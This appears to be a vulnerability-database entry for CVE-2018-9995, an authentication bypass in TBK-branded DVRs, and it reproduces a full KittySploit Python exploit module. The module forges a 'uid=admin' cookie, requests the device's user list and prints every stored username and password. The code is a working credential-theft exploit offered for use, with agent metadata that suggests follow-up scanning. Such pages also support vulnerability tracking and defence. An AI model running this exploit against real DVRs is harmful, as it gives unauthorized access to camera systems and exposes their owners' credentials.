Lucene search
+L

TBK DVR Auth Bypass (CVE-2018-9995)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 3 Views

Auth bypass in TBK DVRs via Cookie uid=admin leaks all user credentials in JSON.

Related
Refs
Code
ReporterTitlePublishedViews
Family
gitee
Gitee
Exploit for CVE-2018-9995
20 Aug 202123:48
–gitee
gitee
Gitee
Exploit for CVE-2018-9995
6 Oct 202020:53
–gitee
gitee
Gitee
Exploit for CVE-2018-9995
23 Oct 202019:25
–gitee
gitee
Gitee
Exploit for CVE-2018-9995
5 Jul 201909:21
–gitee
githubexploit
GithubExploit
Exploit for CVE-2018-9995
28 Oct 202515:30
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2018-9995
7 Jun 202105:57
–githubexploit
githubexploit
GithubExploit
cam-hunter
31 Jul 202614:24
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2018-9995
8 May 201812:07
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2018-9995
18 Aug 202319:42
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2018-9995
24 Sep 202317:00
–githubexploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""TBK DVR cookie auth bypass credential leak (CVE-2018-9995)."""

import json

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'TBK DVR Auth Bypass (CVE-2018-9995)',
        'description': (
            'Exploits CVE-2018-9995 in TBK/rebranded DVRs: Cookie uid=admin bypasses auth and '
            '/device.rsp?opt=user&cmd=list returns all user credentials in JSON.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-9995'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2018-9995'],
        'tags': ['tbk', 'dvr', 'camera', 'auth-bypass', 'credential-leak', 'vkev'],
        'agent': {
            'risk': 'critical',
            'effects': ['credential_access'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['credentials'],
            'chain': {'suggested_followups': ['scanner/http/cve_2018_9995_detect']},
        },
    }

    def check(self):
        r = self.http_request(
            method='GET',
            path='/device.rsp?opt=user&cmd=list',
            headers={'Cookie': 'uid=admin'},
            allow_redirects=False,
        )
        body = (r.text or '') if r else ''
        if r and r.status_code == 200 and all(m in body for m in ('"uid":', '"pwd":')):
            return {'vulnerable': True, 'reason': 'TBK DVR credential leak confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'TBK DVR bypass failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('TBK DVR not vulnerable')
            return False
        r = self.http_request(
            method='GET',
            path='/device.rsp?opt=user&cmd=list',
            headers={'Cookie': 'uid=admin'},
            allow_redirects=False,
        )
        body = (r.text or '') if r else ''
        try:
            print_success(json.dumps(json.loads(body), indent=2)[:4000])
        except json.JSONDecodeError:
            print_success(body[:4000])
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.6High risk
Vulners AI Score8.6
CVSS 25
CVSS 39.8
EPSS0.82322
3